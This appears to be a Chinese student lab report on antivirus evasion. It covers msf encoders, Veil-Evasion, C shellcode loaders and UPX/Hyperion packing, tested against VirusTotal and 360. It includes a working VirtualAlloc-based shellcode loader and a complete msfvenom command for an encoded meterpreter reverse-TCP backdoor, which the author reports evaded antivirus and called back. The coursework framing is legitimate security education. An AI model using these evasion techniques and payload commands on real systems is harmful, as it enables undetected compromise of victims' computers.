免杀原理与实践

一、实验原理

1.恶意软件的检测机制

基于特征码的检测:

特征码即一段或多段数据,包含这样数据的可执行文件或其他库、脚本被认为是恶意代码。

基于启发式恶意软件检测:

根据片面特征推断,通用的、多特征、非精确的扫描。

基于行为的恶意软件检测:

启发式的一种,加入了行为监控。

2.免杀技术

  • 改变特征码
    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

二、实验内容

(一)正确使用msf编码器

1.使用msf编码器生成exe文件

使用实验二中的后门程序20174301_backdoor.exe,在VirusTotal网站扫描。

 可见被杀软检测到的概率很大。

2.使用msf编码器对后门程序编码

一次编码,结果如图:

在网站上检测结果如图:

 十次编码,结果如图:

 

 在网站上检测结果如图:

 由上可见,使用msf多次编码对提升免杀效果没什么用。

(二)使用msfvenom生成如jar之类的其他文件

1.jar文件

使用命令生成jar文件,如图:

 在网站上检测结果如图:

 2.php文件

生成过程如图:

 在网站上检测结果如图:

 出人意料的少(流汗

(三)使用veil生成后门程序

安装veil过程漫长,出现Unable to fetch some archives, maybe run apt-get update or try with --fix-missing的错误,请参见:https://blog.csdn.net/vslyu/article/details/82959552

虽然慢,但建议不要更新国内的源,可能出现更多错误,出现问题根据错误提示来调整吧。安装成功界面如下:

 输入veil,出现一下界面:

 输入ues evasion,进入veil-evasion

 输入 use c/meterpreter/rev_tcp进入配置界面

 设置反弹连接,设置文件名为veil_c_4301,其中LHOST为kali的IP,意为后门程序需要反弹连接的IP地址,如图:

 在网站上检测后门程序,其中,后门文件存放位置见上图,检测结果如图:

 (四)使用C+shellcode编程

利用msf生成一段shellcode,创建一个.c文件,用vi命令编辑文件,加入shellcode和一段主函数,主函数如下:

int main()
{ 
int (*func)() = (int(*)())buf;
func();
}

生成shellcode如下:

 将.c文件编译成可执行文件,如图:

 在网站检测结果如图:

 使用nc命令将文件传送到windows上,被360查杀:

 (五)加壳工具

1.压缩壳

使用upx命令将刚刚的可执行文件加壳,前面是加壳前文件,后面是加壳后文件,如图:

在网站上检测结果如图:

2.加密壳

使用Hyperion加密后门文件,其中安装Hyperion的过程参考其他同学给出的链接:https://blog.csdn.net/weixin_36711901/article/details/103217022

其中,要注意的是:

①可以使用 find -name 文件名 来查找Hyperion-2.2文件夹及Crpter文件夹、makefile文件,修改makefile文件是使用vi命令修改的;

②要加壳的文件要放进Hyperion-2.2文件夹里。

然后使用如下命令加壳即可。


 (六)使用其他课堂未介绍的方法

1.使用veil-evasion的其他载荷生成后门

进入veil evasion后,输入list查看载荷,选择第29个载荷,并不是每一个载荷都可用,界面如图:

 

如上图,set username以设置用户名,选择MSFVenom,选择组件/平台/连接方式,反弹连接IP和端口号,还可以自定义一些参数。

其中,后门文件名称是xn_zh_4301.rc。

在网站上检测结果如图:

2.shellcode+c++msf多次编码+加壳+申请动态内存加载(用另一台电脑实测,可以实现免杀并回连)

电脑系统:WIndows10专业版

AV:360安全卫士12

申请动态加载内存的代码如下:

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口

unsigned char buf[] = 
"shellcode";


main()

{
    char *Memory; 

    Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(Memory, buf, sizeof(buf));

    ((void(*)())Memory)();

}

使用 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=10.211.55.2 lport=3333 -f c -o shell.c 生成一段shellcode,然后把前面buf[]的值换成这段shellcode,生成的.c文件我用codeblocks编译成exe文件,再加壳,可实现免杀及回连成功。

 

 

(七)通过组合应用各种技术实现恶意代码免杀

见(六)的第2条。

(八)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

见(六)的第2条。

三、基础问题回答

  1.杀软是如何检测出恶意代码的?

   杀软可以通过特征码、行为特征检测出恶意代码。AV软件厂商搜集恶意代码的特征码库,与软件进行匹配,检测数据包的特征码,防止网络攻击;根据软件的特征与恶意软件特征的相符程度,监控软件行为,以查杀网络攻击。

  2.免杀是做什么?

   免杀就是通过encode编码、加壳、veil、shellcode编程等方式改变恶意代码的特征码,或通过反弹连接、加密通信、隧道技术等方法隐匿恶意代码的行为方式,或一些非常规方法使得安插的后门难以被AV软件发现。

  3.免杀的基本方法有哪些?

(1)改变特征码

EXE文件可以加壳、用encode进行编码;shellcode可以基于payload重新编译生成可执行文件;有源代码可以用其他语言进行重写再编译。

(2)改变行为方式

尽量使用反弹式连接、隧道技术、加密通讯数据等。

四、实践总结与体会

1.实验体会

此次实验模拟了生成后门软件实现免杀的过程,可以看出网络攻击是防不胜防的,应该加强网络安全防范意识。

2.开启杀软能绝对防止电脑中恶意代码吗?

不能,就比如纯手工打造的恶意代码,很难被杀毒软件检测出来。

原文地址:https://www.cnblogs.com/4301xn/p/12588548.html